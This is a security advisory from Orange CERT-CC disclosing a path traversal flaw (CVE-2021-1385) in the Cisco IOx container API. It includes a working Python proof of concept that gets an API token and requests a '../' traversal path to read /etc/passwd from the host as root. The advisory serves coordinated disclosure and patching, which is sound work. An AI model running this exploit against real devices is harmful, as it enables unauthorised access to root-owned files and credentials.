Cisco IOx - Application Environment Path Traversal Vulnerability (CVE-2021-1385)

Moderate **orange-cert-cc** published **GHSA-hhfw-6cm2-v3w5** on Nov 16, 2021

Package

IOx (Cisco)

Affected versions	Patched versions
16.3.1	16.6.9
17.3.2	17.3.3

Description

Overview

IOx gives the ability to host containers on Cisco routers. Once enabled the router provides an API. This API allows to install, activate and start containers.
`core_dir` is a directory that can be used by both the API and the container itself.

The API that allows to get these files is vulnerable to path traversal allowing to read files on the host (as root).
Also the creation of symlink from the container in this directory is wrongly solved by the API on the host (same issue as #3).

Impact

This results in arbitrary read with root privileges on the host filesystem.

Detail

The `corefiles` API is using `getCoreFile` for path resolution.
It gets the directory on the host and calculate the path depending on `core_filename` provided by the user.

A regular expression prevents the user to provide a `core_filename` not starting with a word or a space.

But if the attacker can create a directory in its `core_dir` directory:

```
[root@guestshell guesshell]# cd /local/local1/core_dir/
[root@guestshell core_dir]# mkdir test
```

Then a valid path such as `test/../../../../<path>` can be provided by the user.

Proof of Concept

Here is a python script that allows to download files on the host. It requires the existence of directory `/local/local1/core_dir/test` on the container.

```
import requests
import base64

# Please replace it with valid login and password
pwd=base64.b64encode(b'<REDACTED>:<REDACTED>')
h = {'Authorization': b'Basic ' + pwd}
r=requests.post('https://192.168.1.39/iox/api/v2/hosting/tokenservice', headers=h, verify=False)
token=r.json()['token']['id']
headers = {
           'X-Token-Id': token
}
r=requests.get('https://192.168.1.39/iox/api/v2/hosting/apps/guestshell/corefiles?corefile=test/../../../../../../../../../etc/passwd',headers=headers, verify=False)
res = r.text
print("File Content:\n%s"%res)
```

Solution

Security patch

Cisco fixed this vulnerability from:

- 17.3(2.5) and later
- 17.3.3 and later
- 17.5(0.144) and later
- 17.5.1 and later
- 17.6.(0.17) and later
- 17.6.1 and later

Workaround

There are no workarounds that address this vulnerability.

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iox-pt-hWGcPf7g
https://nvd.nist.gov/vuln/detail/CVE-2021-1385

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group

Timeline

Date reported: November 27, 2020
Date fixed: March 24, 2021

Severity

Moderate 6.5 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2021-1385

Weaknesses

CWE-22